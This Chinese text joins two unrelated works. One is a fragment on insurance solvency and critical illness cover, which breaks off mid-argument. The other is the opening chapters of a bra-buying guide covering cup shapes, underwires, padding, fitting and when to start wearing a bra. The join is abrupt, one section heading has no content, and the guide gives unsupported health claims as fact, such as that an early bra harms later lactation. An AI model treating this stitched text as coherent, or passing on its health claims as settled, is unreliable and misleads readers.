　　前文讲解过内地保险业的“偿二代”监管机制，说明如今内地保险业的管理已经达到了世界先进水平，而保险保障基金也大大提高了行业的安全性。如果要比较内地金融业与其他国家或者地区的金融业的稳定性，笔者认为需要进行多角度的探讨，毕竟两者间的法律监管体系、会计准则和市场体系甚至根本的所有制都不一样，很难阐述完整，得出的结论也不具备权威参考价值。

　　2011 年，第 83 届奥斯卡最佳纪录长片金奖影片《监守自盗》中有这样的描述：2008 年美国金融危机彻底爆发前夕，在泡沫中破产或严重亏损的几家超大金融机构评级仍很高，看似极为安全可靠。

　　这部纪录片的编导查尔斯·弗格森曾长期在经济研究领域工作，参加过白宫的智囊团，曾是国策机构的成员。纪录片里采访了很多高层人员、国家元首，并把美国金融历史上大量的重要时刻和政策文件收录到了该纪录片中。影片的 27—39 分钟，解释了次级贷组合理财产品是如何在众多专业机构和权威评级机构的监管错误中从雪球滚成了雪崩的。

　　金融体系的稳定性、金融机构运营的安全性，不是一两句话可以说明的，而且消费者不会去关注或调查保险公司的偿付能力和经营赢利状况，一般都是看“宣传”，比如凭借保险公司在世界上的排名来判断该保险公司的好坏。

　　这些病种在定义描述中都涉及因为意外导致的因素，所以重大疾病保险并非仅仅是大家想象中的“重大疾病”，意外造成的严重后果一样被纳入了重大疾病保险的赔付范围之内。

　　把意外造成的严重后果也归纳到重大疾病定义中，是完全符合重大疾病保险设计目的的。现实中，很多患者在治疗过程中因病情严重导致失去劳动能力，无法获得继续治疗的费用，甚至无法保证正常生活所需的收入。基于这种需求，加上发生风险的数据统计，才产生了我们今天看到的重大疾病保险产品。无论是意外导致的还是自身疾病导致的风险，这些风险造成的严重后果才是真正重要的。这也与前文所述一致——“风险”本身不是风险，“风险”造成的严重后果才是真正的风险。

　　所以如果发生意外伤害，千万不要以为自己购买过的重大疾病保险用不上，一定要主动提出理赔申请。当然，如果有专业人士协助检视保单并办理理赔更好。

　　但是，重大疾病保险中涉及的意外残疾远远没有意外保险包含的范围广，并且能达到重大疾病理赔的意外伤害状况都已经比较严重了。如果希望较轻微的意外残疾也能拥有相应的保险赔付，就只能配置专门的意外保险产品了。

　　重大疾病保险并非就不管意外，但是意外保险对各种级别的残疾均有赔付，不能用重大疾病替代。关于如何配置合理的意外保险保额，在后面讲解规划方法的章节中会有详细介绍。

你不懂内衣

序

　　为什么要写这本书？

　　“市场上的内衣琳琅满目，我要从哪里入手才能建立起一个完美的内衣橱？”这是很多朋友问我的问题。当然，还有更多更细的问题，比如：

　　文胸的棉垫太厚，胸部一看就很假怎么办？

　　买集中型的文胸，胸是更挺了，可肥肉也被挤出来了，怎么办？

　　总是被钢圈勒出一道深深的红印，看着就痛，该怎么办？

　　每次穿运动文胸，脖子都要抽筋了怎么办？

　　找到喜欢、穿起来既轻松又舒服的文胸真的很困难吗？

　　……

　　上面的很多问题都集中在文胸上。

　　其实，除了文胸，内衣包括的种类还有很多。

　　经常遇到一些女性朋友这样向我提问：“我的内衣怎么那么不合适，你能不能……”根据她们的语境，我可以立刻明白她们说的内衣其实只是“文胸”。事实上，笼统地把文胸叫做“内衣”的人不在少数，这里面既包括普通消费者，也包括内衣销售员、时尚杂志编辑，甚至我们内衣工作者。

　　也许是做了多年内衣设计师的缘故，我特别不能容忍有人把文胸叫做内衣，几乎得了强迫症，遇上谁这么说都想纠正。2016 年我在某问吧开了一个专栏，有位提问者对于我的执着很是不满。这让我想起 19 世纪末美国华纳医生的经历。他当年为纠正女性穿过于勒束的束胸衣，一边行医，一边做巡回演讲。可无论他怎么讲，女性也不愿放弃这些伤害身体的束胸衣，于是他干脆自己设计了一款“健康胸衣”，并改行成立内衣公司，即后来美国最大的内衣公司沃纳科集团（Warnaco Group）的前身。

　　我没有华纳医生的魄力和勇气，只能一遍一遍地提倡“欲立其身，先正其名”，只有先把概念搞清楚才能更好地谈论“内衣”这个话题。

　　“内衣”一词，工业领域常用的英文是“Intimate Apparel”，实际包括七种类型或至少五种，文胸和内裤只是其中的两种，其他还有睡衣、家居服等。

　　这五或七种类型也可以简化为两种：一种叫“日内衣”，另一种叫“夜内衣”。这两种足以概括内衣的全部种类，说法简单、易懂，女性朋友们也比较容易接受和理解。

　　所谓日内衣（Daywear），是指白天穿在外衣下的内衣。包括文胸、内裤、调整型内衣、日内衣背心等，袜类也可以归入日内衣。

　　所谓夜内衣（Nightwear），则是在以卧室为中心环境的非公共场所的穿着。比如家里既有公共区域也有私密环境，像客厅就是公共的，而卧室则是私密的。又比如在学生宿舍等起居处穿着的衣服等。包括睡衣和居家服。

　　羞于谈论内衣的并非只有东方人，西方社会也曾有过尴尬于公开场合谈论内衣的历史。羞于谈论，不外乎因为内衣与性有关。20 世纪 50 年代，一位名叫弗雷德里克的美国人第一次在全国发行的男性和女性杂志上做内衣广告，他借用香奈儿的那句名言—“时尚可以消逝，但风格永存”，打出了这样一句内衣广告—“时尚在变，但性永不过时（Sex never goes out of fashion）”。

　　“性”这个词在当时还是说不得的话题，这句广告语被很多人视为有伤风化。不过它也从此破了大忌，在那之后，谈论女性内衣话题变成一件越来越酷的事情，谁敢谈论谁就被认为很有个性。

　　说起来，内衣讲究合体以体现女性曲线美，这也是在 20 世纪 50 年代才开始有的概念。虽然生产商已经开始生产合体内衣，但是女性并非一下子就接受了要选择“合体内衣”的概念。说来也许你不信，直到 20 世纪 90 年代中期，女性才普遍具有了买“合体内衣”这一意识。换句话说，我们的祖母可能一辈子都没穿戴过完全合体的文胸或者内裤。

　　内衣发展出今天这几个明确的种类，经历了漫长且复杂的过程。从灯笼开裆麻内裤到紧身弹力比基尼，从连体加吊袜带的束腹衣到只遮盖胸脯两个小点的三角软杯文胸，这近百年来走过的每一步都充满艰辛。

　　我们一直说，一部内衣的发展史其实就是女性解放自己、尊重自己的历史。所以，今天我们在谈论文胸时，如果能坦率地使用“文胸”这个词，其意义肯定大于是否使用了一个准确的词。

　　现在，就让我们开始了解内衣吧！

Q1. 文胸有哪些种类？

尺码

　　针对极其丰富、复杂的女性胸脯特征，欧美内衣市场做了一个简便的区域划分：普通尺码（Regular Size）和大尺码（Plus Size）。

　　普通尺码是指 32AA 罩杯至 36C 罩杯，即国际尺码 80A～90D。

　　大尺码是指 D 罩杯及以上，或 38C 罩杯起，目前到 42J 为止，即国际尺码 90DD 及以上。

　　现在有一些品牌或内衣公司专做大尺码文胸，但是做普通尺码文胸的品牌和公司仍然占多数。

分类

按照面料分类：

质地平滑的面料

　　比如真丝面料，包括弹性缎和无弹性真丝等；

　　普通的微纤维面料，其中有提花或无提花图案；

　　更为普遍的针织棉面料，其中有带纹路的，也有无任何纹路的。

　　相对来讲，平滑面料制作的文胸更为实用，它不仅适于任何季节，而且在任何面料的外衣下，即使穿着相当轻薄的真丝或相当紧身的弹性针织面料外衣，这一类面料的文胸也很容易给人安全感。特别是天气炎热时，一件衬垫不太厚的针织棉质文胸是最佳选择，会让人感觉凉爽而舒服。

　　在我看来，这一类文胸应该是每个女人内衣橱里的必备品，可以每日穿戴。但显然，安全感可能并不是每个女人都需要的，更不是她们追求的终极目标。偶尔改变一下风格，还可以转换心情，这个时候，就需要第二类面料的文胸了。

质地不平滑的时尚面料

　　如全蕾丝面料、镂空绣花面料、花丝绒面料等。

　　胸脯是女性最美丽的身体部位，也是最容易被男性注意到的女性特征，对它的爱当然应该表现得更开放、更丰富。况且文胸发展到今天，早已不仅仅是出于卫生和保护的目的了，让女人内心感觉更美好反而更为重要。时尚面料的文胸能充分满足女人的这种心情，因为它们更美观、更性感，即使穿在被人看不见的“里面”，也能让女性时刻感受到“为悦己而容”的满足感。当然，取悦男性并不是最终目的，但客观上，它们的确更容易引起男性的注意和欣赏。

非面料类

　　如硅胶文胸，现在受到越来越多的人的需要和喜欢。

按照罩杯形状分类：

　　文胸罩杯款式多种多样，到底什么是“半罩杯”，什么是“全罩杯”，我该如何分清？又怎么知道究竟哪一款适合我呢？这恐怕是很多女性的烦恼。

　　其实，罩杯有形状区分的多为带钢圈文胸。而因为有钢圈的限制，罩杯不外乎下面五种形状。我们只要对这五种罩杯结构有了基本的了解，再选择适合自己的那一款就会容易很多。

全罩杯（即 4/4 罩杯）

　　真正的全罩杯整体呈球状，可将乳房全部包裹在内，能罩全乳房的上半部分。这一种杯型最适合罩杯大或乳房大却扁平、偏软、外扩以及有副乳的女性，也更适合追求穿戴稳固性的女性。

　　全罩杯从结构上看，有如下几个特点：

  1. 罩杯结构上通常有横向杯骨，上碗与下碗的高度几乎相等；
  2. 鸡心和侧比位的钢圈较长（如上页红线所示）；
  3. 罩杯外形通常为高鸡心位（在所有罩杯里是最高的）、高侧比位（侧比钢圈长的结果）、加高夹弯位以及大 U 型后背；
  4. 肩带靠近罩杯的中间，高度从胸部的顶端开始，是肩带开始位最高的一款。

　　在这款全罩杯的基础上，使用相同钢圈但改变领口形状，就可以变为部分全罩杯款。比如，降低杯口，肩带位置随之改变，往外、往低挪动。

　　又或者抹去罩杯上端的三角尖角，将罩杯降低成圆线形，随之可以把肩带去掉，变成一款无肩带调整型文胸。其鸡心位置与全罩杯一样不变，但领口调整后更像“方形”，肩带往外挪或完全去掉。

3/4 罩杯

　　通常被称为“Balconette”，最常见的特点是领口呈心形，更多地暴露乳房上半部，有 1/4 乳房外露。3/4 罩杯是现有罩杯形状里聚拢效果最好的。如果你想要明显的乳沟，这款罩杯肯定是首选。适合穿在低领或方领的外衣下。

　　3/4 罩杯的结构有如下特点：

  1. 鸡心位较低，低于侧比位；有不同的鸡心高度，但通常在全罩杯与 V 罩杯之间，比全罩杯低，比 V 罩杯高；
  2. 通常罩杯有上碗和下碗两部分，上碗部分比下碗部分小；下碗部分通常再分两到三块，与上碗部分的杯骨线方向相反，同时有横向和竖向杯骨（如下图）。通常杯骨越多，越能贴合人体曲线，领口也就会越服帖；
  3. 如果肩带连接到罩杯的下碗部分，内插棉倒立或斜放，受力点就落在肩带上，能给予胸脯最大的承托。

半罩杯（即 1/2 罩杯）

　　通常被称为“Demi”，Demi 的意思是“部分”或“一半”，即罩杯包容乳房乳头以下的一半（包括乳头），露出乳头以上的部分。

　　半罩杯通常罩杯口开位较低，领口呈方形，因此会造成乳沟效果，特别适合乳房娇小及两胸之间距离较大的女性。半罩杯文胸虽然有一定的宽侧比侧收设计，但没有夹弯位，因此不适合胸型外扩、腋下有副乳或赘肉的女性穿戴。

　　半罩杯的典型特点如下：

  1. 通常鸡心部位的钢圈与侧比位的钢圈高度相同，且鸡心位比 3/4 罩杯低；
  2. 通常有竖向杯骨，如果是大罩杯，会有两条竖向杯骨；有时也可能是一条横向，或一条横向加一条竖向杯骨（如下图）。只有一条横向杯骨时，上碗比下碗小，鸡心位更低。

　　从制版角度讲，使用竖向杯骨是有因为能够更容易制造出一个更低、更开的领口形状，同时让下碗更浅，这样就可以把乳房推高。

1/4 罩杯

　　罩杯低于乳头。有时被误称为半罩杯，实际比半罩杯还要低。

V 罩杯

　　V 罩杯文胸与全罩杯很像，但它在两个罩杯间做出一个明显的 V 型领口，是制造乳沟最好的款式。

　　V 罩杯的结构特点如下：

  1. 杯口通常呈斜线，是所有罩杯里钢圈最短的一个款式；
  2. 鸡心位很低，尤其如果是聚拢型文胸，可能只有一根底围橡筋的宽度；
  3. 如果是背心式文胸或三角软杯文胸，通常没有鸡心位；
  4. 罩杯有两条或一条杯骨。有两条杯骨时，通常是一条斜向杯骨与一条竖向杯骨。只有一条杯骨的话，通常是竖向的。

　　总之，罩杯形状的不同，其实是造成了领口形状的不同。因此，要分清带钢圈文胸的罩杯形状，我们只要看看下面这张领口对比图就一目了然了。

　　左侧从后往前依次为全罩杯、变异全罩杯、3/4 罩杯、1/2 罩杯。右侧从后往前依次为全罩杯、V 罩杯。

按照功能分类：

　　实用型：着重吸汗、保护、卫生等基本功能。

　　品味型：偏向流行、个性、设计等。

　　功能型：辅助修饰身材某处特定的小缺点。

　　调整型：强调曲线雕塑，需长时间穿着来达到改变身材的目的。

Q2. 钢圈真的能托举乳房，防止它们下垂吗？

　　类似这样的疑问从钢圈出现就没有断过，而且观点还经常正反相对。有人会问：钢圈真的能托举乳房，防止它们下垂吗？也有人问：长期穿戴无钢圈文胸会让乳房的边际模糊吗？实际上，针对这两个问题，至今尚无科学而明确的答案。

　　曾有位运动医生对一组自愿不戴文胸的女性进行了多年的跟踪调查，他得出的结论是，这些女性的胸并没有下垂，反而比戴文胸的对照组还更坚挺一点。

　　除了钢圈是否能防止乳房下垂的争论之外，另一个呼声最高的问题就是钢圈是否有害健康，是否是引发乳腺癌的罪魁祸首。1990 年，美国《医学日报》曾发表一篇题为《消灭钢圈》的文章，文章中指出钢圈长期压迫乳腺，阻碍淋巴液循环，从而导致了各种各样的乳房疾病。后来这一观点影响甚广，从医学界到女性社交圈，大家似乎都认同“钢圈有害健康”这一观点，给女性造成了很大的心理负担。

　　可事实真的如此吗？2013 年于《心理肿瘤学杂志》上发表《胸脯高耸》一文的作者格罗斯先生认为这完全是无稽之谈，因为至今没有一项有力证据可以证明乳房疾病与文胸直接相关，无论是因为穿戴文胸还是不穿戴文胸。可是要说钢圈能改善下垂状况，格罗斯先生也并不认同。在他看来，乳房的体积、重量和人体的其他特征一样，是形态演化的结果。也就是说，下垂与否是女性天然身体条件决定的。否则，我们怎么解释为什么有乳房扁平的 20 岁女性，也有乳房仍丰满坚挺的 60 岁老太太呢？简言之，格罗斯先生不认为钢圈能起任何作用，无论是好作用，还是坏作用。

　　其实很多文胸专家都曾提到过一点：感觉乳腺受压迫并不是因为穿有钢圈的文胸，而是因为穿了钢圈不合适的文胸。可事实上，真正对这个问题加以关注的女性并不多，大多数女性在穿戴文胸上都存有误区。

　　女性要根据自己的年龄和胸部发育阶段选择是否穿戴有钢圈的文胸。如果是正在发育的年轻女孩，乳腺不能受到过多压迫，就应该选择无钢圈或软钢圈的文胸；但是要根据胸部的发育情况及时更换文胸，发育到一定程度之后就应换上有钢圈的文胸，以防止胸部下垂的情形出现。如果是已经发育成熟而身材仍十分娇小的女性，因为对于承托的要求没有丰满的女性那么高，可以多选无钢圈或软钢圈文胸。

　　这里要纠正一个选择误区：不是穿有钢圈的文胸就会压迫乳腺，大部分是因为穿错才压迫。

Q3. 常见的无钢圈文胸有哪些？

硅胶文胸

　　硅胶文胸通常无后背、无肩带，只有两个由硅胶制成的罩杯，罩杯内涂有医用级别的黏胶，可以直接贴在乳房上。

　　我们大概都有过这样的经历：今天想穿某一款露背装或抹胸裙，可试遍了所有的文胸都不合适，不是露出了不该露的肩带，就是露出了背钩……这个时候，硅胶文胸就是最佳的解决方案。每位女性都需要为自己备上一副硅胶文胸，因为它能在你想要充分展现性感时，给乳房最好的支撑和保护。

造型式文胸

　　也称为“魔杯式文胸”。用一体式热压模杯制作的文胸，具有突出和定义胸部轮廓的功能。由于模杯通常用海绵或填充纤维制作而成，有一定厚度，故绝对不会出现露点情况。

　　此款文胸会使胸型看上去绝对圆滑和对称，因此特别适合两胸不对称的胸型。但它并不会让胸部看上去更大。

无缝式文胸

　　又称“一片围”。半无缝式，又称“半片围”。

　　所谓“一片围”，就是除去肩带以外，罩杯、围度、背钩等完全是一体成形，无拼接缝。罩杯通过所谓的“子弹头”冲模技术高温定型，呈现 3D 立体效果，让胸部自然丰满盈润。罩杯厚度可控，通常在 1.5 厘米左右，上薄下厚。肩带较宽。

　　所谓“半片围”，就是在侧比有接缝，围度一体成型。这款文胸特别适合搭配 T 恤，或布料较为柔软光滑（如丝绸）的外衣，或紧身的弹性针织外衣。

抹胸

　　又称“一字文胸”或“裹胸”。抹胸是最简单的文胸款式，用一块布围在胸部而成。这种文胸几乎没有支撑力，因此只适合小胸女性。

胸衣

　　通常是用蕾丝制作的无钢圈、无胸垫的整体舒适胸衣，集运动、休闲与时髦元素于一体，既可以内穿，也可外穿出街。

　　胸衣没有塑形、支撑的功能，所以更受拥有小巧、坚挺胸型的年轻女性欢迎。不过也正因为它不能制造集中、深 V、高耸等效果，呈现的是自然状态，深受崇尚天然的时髦女性的追捧，因此经常被套在外衣下外穿出街，或内搭在比较宽松、随意的外衣或睡衣下暴露出来。

　　胸衣常见三角软杯设计。内穿的三角软杯现在大多配有小插片，可以根据自己的需要装卸以避免凸点。如无插片口袋设计，就需要佩戴乳贴。

Q4. 选择钢圈文胸时，底围和罩杯总有一个不合适，该如何解决？

　　这种底围和罩杯总有一个不合适的情况分为很多种。

　　钢圈部位的底围合适，罩杯却总是过小；如果选择合适的罩杯，底围又会过大。

　　这种情况通常出现在乳房 D 罩杯或以上的女性身上。这种胸型通常被称为“球形胸型”，胸围从底部到乳头处不是像其他胸型那样越来越小，而是越来越大，甚至溢伸到身体躯干以外。

　　形成这种胸型的原因很多，常年穿着不合适的文胸可能是主因。比如，文胸质量差，没有足够的支撑；经常不穿文胸；体重长期频繁增减；常年穿戴错误尺码的文胸等。当然，也有天生如此的胸型，比如发育过快或过于成熟的年轻女性。

　　文胸款式推荐：

  1. 最好的选择是裁剪缝制一体化的文胸。这类文胸通常是立体裁剪，完全按照胸部曲线拼缝制作而成，能形成非常贴合胸部线条的圆弧形。罩杯可以由两块或多块布料组成。通常接缝越多，支撑力度越好。
  2. 选择罩杯使用非弹性布料的文胸，能更有效地支撑乳房，使其不会轻易晃动。
  3. 选择带有侧翼胶骨的文胸，这个胶骨可以对乳房起到一定的固定作用，使乳房保持在身体前方和中间，而不是向身体外侧溢出。
  4. 全罩杯当然是极其必要的选择。
  5. 深 V 型文胸也是一个不错的选择。
  6. 不要选择轮廓式模杯文胸，除非模杯是由大尺码文胸专制公司出品的。一般的模杯是不可能给这种胸型以足够正当的支撑的，也不可能合体。

　　钢圈总是显得过宽，老往下滑。

　　那是因为你的胸型是我们常说的“薄胸型”。C 罩杯以下的小尺码胸常见此类胸型。

　　通常这种胸型乳房下围较小，两个乳房之间距离较大。这种胸型还会经常遇到乳房不能把整个罩杯撑满的情况。

　　文胸款式推荐：

  1. 不建议选择一般的钢圈文胸，它们不可能合身，而且钢圈的位置不合适还有可能伤害到你的胸骨。
  2. 软杯文胸（没有钢圈）会比较舒服，但无法体现出比较优美的胸线。罩杯可能撑不满，可用活动胸垫弥补。
  3. 推高式文胸比较好，能让胸型显得丰满。
  4. 在底部和罩杯外侧带胸垫的推高式文胸最为合适。
  5. 在罩杯底部使用活动式衬垫，会让你的胸型更为丰满。
  6. 由较硬的模杯制作而成的轮廓式文胸也是一个不错的选择，能让你的胸型看上去更圆满一些，也可以掩盖乳房不能充满整个罩杯的缺陷。
  7. 深 V 型文胸也可选择，但要选择中间钢圈位置较低的款式。

　　文胸底托很合适，罩杯却不能被撑满。

　　这种情况经常出现在胸型较小的人身上。胸部底围足够圆润，可是胸很小，这样的胸型被称为“锥体胸型”，近似冰激凌蛋筒的形状。市面上的文胸一般是按比例进行设计的，对于这样的胸型来说，通常选择合适的底围后，罩杯就会太大，出现空杯现象。

　　文胸款式建议：

  1. 轮廓式模杯文胸是这种胸型最好的选择。左右罩杯之间的连接部分较高，罩杯底部如果有加厚则更好。
  2. 可以在罩杯的底部放入活动式小棉垫以衬出胸线，填满罩杯。
  3. 底部加厚的推高式文胸可以从底部和两侧往上推挤乳房，使胸部看上去更丰满，还有可能造成乳沟。A 罩杯或 B 罩杯的小胸可以选择底部加厚的推高式文胸。
  4. C 罩杯或更大罩杯，应选择“轮廓减小式文胸”，它会让你的胸部看上去更圆满，但又不会过于丰满。
  5. 最好不要选择软杯或没有任何结构支撑的文胸。它们没有塑形功能，会让你的胸线毫无魅力。

Q5. 有哪些特殊的功能性文胸？

运动式文胸

　　运动文胸不仅仅是比普通文胸增加了支撑力，而是在女性运动时，尤其是做前跃或跳跃动作时，对胸部韧带和软组织加以保护。

　　运动文胸的设计原理是尽可能固定住两个乳房减小其晃动幅度，减小女性运动时的痛苦和烦恼。

　　随着人们运动意识的提高，运动已经成为女性日常生活中十分重要的事情，运动文胸也成为女式内衣中十分重要的一个品类。

T 恤式文胸

　　T 恤式文胸剪裁与半罩杯或全罩杯一样，通常使用平滑面料或无缝模杯。线条简洁流畅，穿在 T 恤下不会露出文胸痕迹。

　　T 恤式文胸是搭配在针织衫（包括 T 恤衫、轻软的毛衣）和紧身衣裙最理想的文胸款式。

孕妇文胸

　　孕妇文胸的设计具有较强伸展性，以适应女性在怀孕期间胸部尺码的不断变大。

哺乳文胸

　　哺乳文胸的设计是为方便产妇授乳，让婴儿更容易接触到母亲的乳头。传统上，哺乳文胸上有一块可以从上端揭开的布，翻下来就可以露出乳头，方便哺乳。

轮廓减小式文胸

　　特别为 34C 罩杯以上的胸部丰满女性设计，通过压平、均摊乳房纤维等方法，可达到视觉上减少 1～2 个罩杯尺码的效果，让胸部不会显得过于丰满。而且这种文胸普遍更为舒适。

Q6. 你喜欢多厚的胸垫？带垫还是不带垫？

　　走进国内的内衣店，常常看到的大约只有两种风格：一种是上面附着大量刺绣的厚模杯或厚棉垫款；一种是老气横秋的调整型。无论哪一种，其实都是为了让胸部看上去更大、更挺，以挤出“事业线”为目的。

　　可这是你希望的吗？

　　海绵模杯是从西方来的，最初面世时的确引得无数女性为之着迷，又被称为“魔杯”。不过，这样的厚杯或厚垫文胸在今天的欧美内衣市场早已不是主角。随着女性自我意识的提高，不要说厚模杯，就是厚海绵垫也开始因为效果虚假而遭到她们的厌弃。它们开始变薄，从全罩杯加厚模杯变成只有罩杯下半部分加厚；形状和大小也发生变化。如果原先的罩杯是棉垫设计，一定会占满整个罩杯，现在即使是全罩杯设计，胸垫也可以只占罩杯的一半，甚至更少。今年我甚至看到过只占三分之一罩杯的杯垫设计。欧美市场意识到，或者希望消费者意识到，胸垫其实只要能够遮点就足够了。

　　其实如果问现在的国内女性：“你喜欢多厚的胸垫？”恐怕有不少人的回答会是：“薄薄的一层就好。

　　太厚的胸垫除了能塑造“波涛汹涌”的效果以外，跟薄杯比，对胸部的保护并没有什么特别，只会让我们感觉虚假而不安。可是如果罩杯完全没有棉垫，只是薄薄的两层布，我们又会有凸点的担心。所以，不超过 1 厘米厚的棉垫我觉得恰到好处。希望我们的市场可以有更多这样的设计以满足女性的需求。说到底，内衣市场终究是为女性服务的。

　　文胸的海绵是通过压模成型的。一般有三层材质，最外面上下两层贴布，中间通常是聚氨酯海绵，也是常说的普通海绵。处理时会加一些抗黄棉，防止海绵发黄。海绵的厚度可以按照设计师的要求制作。质量好的海绵具有良好的透气性，吸汗能力强。前两年直立棉也曾风靡过，但直立棉与聚氨酯海绵究竟哪个更好，一直存在争议。

　　最外面的上下两层贴布，通常是用全涤 75D 佳积布；要想手感再细腻柔软一些，则用 50D 佳积布。质量再高的，则用全棉或 T/C 涤棉布。

　　不过，到底是要穿带垫还是不带垫的文胸，纯属个人喜好。

　　在过去一二十年里，大部分中国女性比较追求聚拢、高挺的效果，所以市场上绝大多数文胸都是带有棉垫的，而且是比较厚的棉垫。而现在，特别是最近一两年，棉垫的薄厚出现了更多的选择。有热压一体模杯、子弹头冲绵垫和车缝棉垫等，每一种的薄厚都有不同。有整个罩杯同一厚度的，也有底部半杯加厚的，而棉垫的厚度的选择则更自由了。

　　棉垫薄厚的变化，也反映了女性对待自己身体的态度变化。

　　如果你的乳房有一大一小的现象，那选择一体模杯是最合适的。如果希望自己的胸看上去更大，那选择有聚拢效果的带厚垫文胸也无可厚非。可如果你希望自己的胸既受到足够的保护又能保持自然的状态，那么 1 厘米厚的车缝绵垫就是非常好的选择。

Q7. 什么是软杯文胸？适合什么胸型的人？

　　所谓软杯文胸，就是没有钢圈、没有海绵垫，通常只有薄薄两层布料的三角杯文胸。外形和比基尼泳衣的上衣很像。

　　这种文胸因为罩杯柔软、对胸部没有束缚，会让穿着者感到放松自在。不过也正因为只有薄薄两层布料以及对胸部的束缚和支撑不够，所以它更适合罩杯 34C/36B 以下、乳房小而坚挺的女性。比这个尺码大的胸型，乳房就很难被三角杯承托住，因此不建议购买、穿戴。

Q8. 胸型是怎么分类的？

　　市场上标准化的文胸结构设计会针对不同胸型设计制作不同的款式。就是说，某些款式肯定更适合某种胸型，某些胸型不适合穿某种类型的文胸。我经常听到身边女性朋友抱怨自己遇到的问题，这些问题也是其他女性经常遇到的，究其原因就是她们穿上了不合适的文胸。所以，了解自己的胸型是找到对应文胸款式的第一步。

娇小胸型

　　娇小的胸部，最容易用文胸来进行弥补。对于胸部娇小的女性而言，下厚上薄的 3/4 罩杯文胸能集中托高胸部，塑造丰满、自然的胸部曲线。但如果胸部尤为平坦，那全罩杯则是最佳选择，全罩杯的密合度较佳，弯腰时不易发生空罩杯的情况。

　　另外，小胸女性也不要因为胸部小而选择过紧的文胸，略大一点的文胸才能让胸部血液顺畅流通，并且给予它朝合适的位置发展的空间。如果你希望胸部显得更丰满，应首选轮廓式模杯文胸；如果你不在意大小，可以选择三角软杯文胸，当然最好配一副活动式棉垫。

丰满胸型

　　C 罩杯以上便属丰满胸型，丰满胸型要保持挺实、不下垂、不外扩，选对文胸是关键。身材丰满的女性宜选择轻薄的丝质面料文胸，最好不要选有棉垫的文胸，V 罩杯和 3/4、4/4 型都比较适合此类胸型。另外，宽肩带加钢圈，也能更好地支撑胸部的重量。

下垂胸型

　　胸部下垂的女性，应该选择无弹性全罩杯以加强胸部支撑，肩带与后背带也都需选择较宽的款式，并尽量使用钢圈和侧部有加强功能的文胸，使之加强衬托，由下往上地支撑，才能将下垂的胸部承托起来。

乳房有副乳型

　　有副乳的女性应该正确选择聚拢、软性布料加强文胸，从而达到胸部向内聚拢的效果。后背扣与前肩要相配合，并尽量穿戴带有固定型钢圈功能的文胸。整个文胸应全部托起胸部并包裹住乳房，这样才能支撑、聚拢、调整副乳。

Q9. 应该在什么时候购买人生中第一件文胸？

　　生活中，不少人认为到了 16 岁或者乳房隆起就应及时穿戴文胸，但这并不科学。

　　事实上，不管你多少岁，只要看到自己的乳房开始隆起，就应该拿起软尺从乳房的上底部经过乳头到乳房的下底部进行测量。如果测量出的数字大于 16 厘米，那你就应该穿戴文胸。如果年龄大于 16 岁而测量结果还是小于 16 厘米，则仍然不宜穿戴文胸。因为过早穿戴文胸不仅对正处于发育隆起的乳房不利，而且还有可能影响以后的乳汁分泌。

　　也就是说，何时购买人生中第一件文胸，不是根据年龄，而是根据乳房发育的速度和大小来决定的。而乳房的发育受遗传、营养、运动等各种因素的影响，每个人的状况都会有所不同，因此需要对自己的身体保持敏感并加以科学的认识。

　　一般而言，大多数女孩在长到 16～18 岁时，胸廊和乳房的发育会接近成熟，所以，这也是我们通常提倡的开始穿戴文胸的年龄。

　　但有一部分人会觉得“虽然我的乳房已经发育成熟，可我不想穿文胸”。可是这样好吗？

　　当然不好。乳房在充分发育后就需要加以保护，否则日常行走、运动和劳动等都有可能使乳房因过度晃动而造成伤害。乳房是人体少有的没有肌肉的器官，胸部韧带一旦受伤不仅无法修复，而且也无法通过任何方法再得到加强。

　　所以，及时穿戴文胸是保护乳房最简便的方法。

　　除了减少伤害，文胸还可以托起并支撑乳房，使其血液循环通畅，有助于乳房的进一步发育。

Q10. 第一次购买文胸时，应该做些什么准备？

首先要学会测量自己的胸围尺码

测量上胸围

　　上身前倾 45°；

　　软尺绕过乳点一周，得出上胸围尺码。

测量下胸围

　　身体直立，软尺贴近乳根；

　　水平环绕一周，得出下胸围尺码。

了解计算罩杯尺码的公式

　　罩杯尺码=上胸围-下胸围。

　　上下差若在 10 厘米左右为 A 罩杯，在 12.5 厘米左右为 B 罩杯，在 15 厘米左右为 C 罩杯，在 17.5 厘米左右为 D 罩杯，在 20 厘米左右为 E 罩杯，在 22.5 厘米左右为 F 罩杯，以此类推。

　　有了这个公式以后，就能轻松得出自己比较确切的罩杯尺码了。

　　如果你的下胸围是 75，罩杯为 B，对应的文胸尺码就是 75B。

Q11. 如何看懂文胸的尺码？

Q12. 有关文胸结构的名词有哪些？

　　了解这些名词，对了解复杂的文胸结构很有帮助，我们在实体店选购时能更容易与店员沟通，特别是在电商平台上选购时会更容易理解款式描述，有助于我们选购到合适的文胸。

　　不过有关文胸结构的名词实在很多，如果不是专业设计师或生产人员没必要全部知道，只需掌握下面这几个名词的概念即可：

  1. 鸡心：又称心位、前中位。
  2. 侧比：又称侧翼，是后比与罩杯之间的连接结构部分。
  3. 夹弯：又称比弯，是罩杯靠近手臂的位置，起到固定、支撑和包容副乳的作用。
  4. 后比：又称后翼或后拉片。
  5. 上托：又称上碗，是罩杯的上半部分，通常是一整片。
  6. 下托：又称下碗，是罩杯的下半部分，有一片、两片或多片之分。
  7. 杯骨：连接上托和下托的那条线。
  8. 胶骨：连接后比与侧比的结构。通常是细窄条的塑料制品，有一定韧性，可以支撑侧比，使其不起皱、不变形。
  9. 背扣：又称钩扣，可以调节下底围的长短。

Q13. 买文胸一定要试穿吗？

　　当文胸只有实体店单一销售方式时，试穿曾是自然而然的事，没有人对此有所怀疑。

　　市场上的文胸款式很多，又有很多不同的品牌生产商，即使是同一个尺码，不同款式、不同品牌也会有所差别，做不到只要尺码一样就全都合适。而且你自己的身体也在不断变化中，以前尺码合适的文胸很有可能过一段时间就变得不合适了。因此当你在实体店里购买文胸时，一定要试穿！试穿除了要试你平时穿的尺码，最好再多试几个与其相近的两个尺码，这样才能知道到底哪一个最适合自己。

　　如果不知道自己的尺码，可以在买内衣的时候让导购帮你测量一下。

　　不过现在很多的内衣品牌在电商平台做生意，有些内衣品牌并没有实体店，基本没有试穿文胸的机会。那该怎么办？

　　首先，最好选择能提供多种尺码标准的内衣品牌。如果是文胸，尺码应不只是简单的 S、M、L，而是有更详细的罩杯尺码分类，比如从 70 到 85、从 AA 到 EE 等。

